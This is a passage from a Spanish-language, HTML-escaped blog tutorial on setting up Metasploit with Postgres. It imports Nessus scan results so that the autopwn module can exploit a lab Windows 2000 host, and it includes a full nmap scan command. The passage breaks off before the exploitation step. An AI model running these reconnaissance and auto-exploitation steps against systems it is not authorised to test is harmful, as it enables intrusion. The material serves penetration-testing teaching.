/&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;La arquitectura que utilice fue OpenSuse 11.1 como explotador (IP 192.168.137.50) y Windows 2000 Professional SP4 como explotado (IP 192.168.137.55).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-TRAD"&gt;Instalaciones:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;    &lt;ul&gt;&lt;li&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Lo primero y esencial es instalar nmap, preferiblemente instalarlo de fuentes (&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt;&lt;a href=""&gt;http://nmap.org/dist/nmap-4.76.tar.bz2&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="PT"&gt;Instalar Nessus desde &lt;/span&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt;&lt;a href=""&gt;http://www.nessus.org/download/&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="PT"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Instalar Postgres Server, en este caso lo instale desde rpm por el Yast.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Instalar Ruby &lt;b style=""&gt;DESDE FUENTES&lt;/b&gt;, aqui es donde tuve pequeños problemas ya que la versión de Ruby que viene en OpenSuse que es &lt;b style=""&gt;Ruby-1.8.7 NO SIRVE&lt;/b&gt;, la versión que instale fue la última versión estable SVN (&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt;&lt;a href=""&gt;ftp://ftp.ruby-lang.org/pub/ruby/stable-snapshot.tar.gz&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;).&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Instalar RubyGems &lt;/span&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;b style=""&gt;DESDE FUENTES&lt;/b&gt;, la versión &lt;/span&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;que utilice fue la 1.0.0 (&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt;&lt;a href=""&gt;http://rubyforge.org/frs/download.php/29516/rubygems-1.0.0.tgz&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;).&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Instalar el ActiveRecord: &lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;" lang="ES-PE"&gt;# gem install activerecord&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Instalar el driver de postgres: &lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;" lang="ES-PE"&gt;# gem install postgres&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Por último instalar Metasploit desde SVN, como se muestra en &lt;/span&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt;&lt;a href=""&gt;http://www.metasploit.com/framework/download/&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;       &lt;br /&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;El objetivo de este tutorial es trabajar con metasploit con su modulo autopwn, y para realizar esto importaremos un archivo nessus (nbe) a metasploit.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Lo primero que vamos hacer es correr nmap desde consola (nmap -v -A -sC -p 1-65535 -P0 --reason -oA /root/Desktop/autopwn/nmap_autopwn 192.168.137.55) y que nos dé los resultados en sus tres formatos.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Luego iniciaremos Nessus y exportaremos el archivo *.gnmap a la política que vayamos a crear. Terminado el escaneo de nessus, exportamos el resultado a un archivo *.nbe. &lt;b style=""&gt;(El uso de nmap y nessus escapa al objetivo de este tutorial).&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;--El video empieza desde este punto--&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Listo ahora vayamos a iniciar una instancia de postgres; para realizar esto necesitaremos cambiarnos de usuario ya que root no permite realizar esta acción, hacemos lo siguiente:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;" lang="ES-PE"&gt;# su “usuario”&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;" lang="ES-PE"&gt;$ cd /home/”usuario”&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;" lang="ES-PE"&gt;$ initdb ~/metasploitdb (Creación de la instancia)&lt;br /&gt;$ pg_ctl -D ~/metasploitdb start (Inicio de postgres)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;" lang="ES-PE"&gt;$ su - (para regresar a root)&lt;/span&gt;&lt;!--EndFragment--&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_IhM_rPvn0ac/SdKUm2ZB49I/AAAAAAAAAD0/urPqeFZRVjA/s1600-h/1.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 314px;" src="http://1.bp.blogspot.com/_IhM_rPvn0ac/SdKUm2ZB49I/AAAAAAAAAD0/urPqeFZRVjA/s320/1.jpeg" alt="" id="BLOGGER_PHOTO_ID_5319477505034413010" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_IhM_rPvn0ac/SdKUgj-NvWI/AAAAAAAAADs/GOity8l4l7g/s1600-h/2.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 274px; height: 320px;" src="http://4.bp.blogspot.com/_IhM_rPvn0ac/SdKUgj-NvWI/AAAAAAAAADs/GOity8l4l7g/s320/2.jpeg" alt="" id="BLOGGER_PHOTO_ID_5319477397010890082" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt; &lt;meta name="ProgId" content="Word.Document"&gt; &lt;meta name="Generator" content="Microsoft Word 11"&gt; &lt;meta name="Originator" content="Microsoft Word 11"&gt; &lt;link rel="File-List" href="file:///C:%5Cwindows%5Ctemp%5Cmsohtml1%5C05%5Cclip_filelist.xml"&gt; &lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:applybreakingrules/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:usefelayout/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt; &lt;style&gt; &lt;!--  /* Font Definitions */  @font-face 	{font-family:"MS Mincho"; 	panose-1:2 2 6 9 4 2 5 8 3 4; 	mso-font-alt:"ＭＳ 明朝"; 	mso-font-charset:128; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 134676480 16 0 131072 0;} @font-face 	{font-family:"\@MS Mincho"; 	panose-1:0 0 0 0 0 0 0 0 0 0; 	mso-font-charset:128; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 134676480 16 0 131072 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:none; 	mso-hyphenate:none; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:Arial; 	mso-font-kerning:.5pt; 	mso-fareast-language:AR-SA; 	mso-bidi-language:AR-SA;} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.25in 1.0in 1.25in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt; &lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Tabla normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman"; 	mso-ansi-language:#0400; 	mso-fareast-language:#0400; 	mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;!--StartFragment--&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Ya tenemos una instancia de postgres iniciada, entonces ahora podemos trabajar con metasploit y lo iniciamos en modo consola:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;" lang="ES-PE"&gt;# cd /root/Programas/metasploit (donde se encuentra mestasploit)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;" lang="ES-PE"&gt;# ./msfconsole&lt;/span&gt;&lt;!--EndFragment--&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_IhM_rPvn0ac/SdKUa3XxB8I/AAAAAAAAADk/VGyyE-9AxfU/s1600-h/3.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 222px;" src="http://1.bp.blogspot.com/_IhM_rPvn0ac/SdKUa3XxB8I/AAAAAAAAADk/VGyyE-9AxfU/s320/3.jpeg" alt="" id="BLOGGER_PHOTO_ID_5319477299139119042" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt; &lt;meta name="ProgId" content="Word.Document"&gt; &lt;meta name="Generator" content="Microsoft Word 11"&gt; &lt;meta name="Originator" content="Microsoft Word 11"&gt; &lt;link rel="File-List" href="file:///C:%5Cwindows%5Ctemp%5Cmsohtml1%5C05%5Cclip_filelist.xml"&gt; &lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:applybreakingrules/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:usefelayout/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt; &lt;style&gt; &lt;!--  /* Font Definitions */  @font-face 	{font-family:"MS Mincho"; 	panose-1:2 2 6 9 4 2 5 8 3 4; 	mso-font-alt:"ＭＳ 明朝"; 	mso-font-charset:128; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 134676480 16 0 131072 0;} @font-face 	{font-family:"\@MS Mincho"; 	panose-1:0 0 0 0 0 0 0 0 0 0; 	mso-font-charset:128; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 134676480 16 0 131072 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:none; 	mso-hyphenate:none; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:Arial; 	mso-font-kerning:.5pt; 	mso-fareast-language:AR-SA; 	mso-bidi-language:AR-SA;} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.25in 1.0in 1.25in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt; &lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Tabla normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman"; 	mso-ansi-language:#0400; 	mso-fareast-language:#0400; 	mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;!--StartFragment--&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Ahora cargamos postgres en el metasploit con el siguiente comando:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;" lang="ES-TRAD"&gt;msf &gt; load db_postgres&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-TRAD"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-TRAD"&gt;NOTA: Una vez que cargamos postgres en el metasploit aparecerán nuevos comandos como db_create o db_destroy, etc.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-TRAD"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Y luego creamos la base de datos con el siguiente comando:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;msf &gt; db_create “usuario”:”passw”@localhost:5432/metasploitdb&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Donde:&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;           &lt;/span&gt;usuario: es el usuario que utilizamos para iniciar la instancia del postgres&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;span style=""&gt;                        &lt;/span&gt;passw: cualquier contraseña a utilizar&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;span style=""&gt;                        &lt;/span&gt;localhost: porque la instancia de postgres se encuentra en nuestra máquina&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;span style=""&gt;                        &lt;/span&gt;5432: puerto que utiliza postgres&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;span style=""&gt;                        &lt;/span&gt;metasploitdb: nombre de la base de datos, la cual hemos instanciado&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;IMPORTANTE: es necesario ingresar todos los parámetros ya que si obviamos uno, no se creará ninguna base de datos.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Nos pedirá ingresar una contraseña, pues entonces ingresamos la misma contraseña que colocamos en el comando explicado arriba.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;NOTA: Una vez creada la base de datos aparecerán nuevos comandos como db_hosts, db_services, db_import_*, etc.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;!--EndFragment--&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_IhM_rPvn0ac/SdKUUZADJiI/AAAAAAAAADc/nm0RGcBVy34/s1600-h/4.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 271px;" src="http://1.bp.blogspot.com/_IhM_rPvn0ac/SdKUUZADJiI/AAAAAAAAADc/nm0RGcBVy34/s320/4.jpeg" alt="" id="BLOGGER_PHOTO_ID_5319477187907364386" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt; &lt;meta name="ProgId" content="Word.Document"&gt; &lt;meta name="Generator" content="Microsoft Word 11"&gt; &lt;meta name="Originator" content="Microsoft Word 11"&gt; &lt;link rel="File-List" href="file:///C:%5Cwindows%5Ctemp%5Cmsohtml1%5C06%5Cclip_filelist.xml"&gt; &lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:applybreakingrules/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:usefelayout/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt; &lt;style&gt; &lt;!--  /* Font Definitions */  @font-face 	{font-family:"MS Mincho"; 	panose-1:2 2 6 9 4 2 5 8 3 4; 	mso-font-alt:"ＭＳ 明朝"; 	mso-font-charset:128; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 134676480 16 0 131072 0;} @font-face 	{font-family:"\@MS Mincho"; 	panose-1:0 0 0 0 0 0 0 0 0 0; 	mso-font-charset:128; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:fixed; 	mso-font-signature:1 134676480 16 0 131072 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:none; 	mso-hyphenate:none; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:Arial; 	mso-font-kerning:.5pt; 	mso-fareast-language:AR-SA; 	mso-bidi-language:AR-SA;} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.25in 1.0in 1.25in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt; &lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Tabla normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman"; 	mso-ansi-language:#0400; 	mso-fareast-language:#0400; 	mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;!--StartFragment--&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Ahora nos toca importar el archivo *.nbe a la base de datos, para eso utilizamos el siguiente comando:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;" lang="ES-PE"&gt;msf &gt; db_import_nessus_nbe “ruta donde se encuentra el archivo”&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;NOTA: Una vez importada la base de datos mediante los comandos “db_hosts” y “db_services” podemos ver la información que se encuentra en la base de datos.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: Arial;" lang="ES-PE"&gt;Ahora que tenemos la base de datos llena, podemos comenzar hacer la explotación automática; mediante el 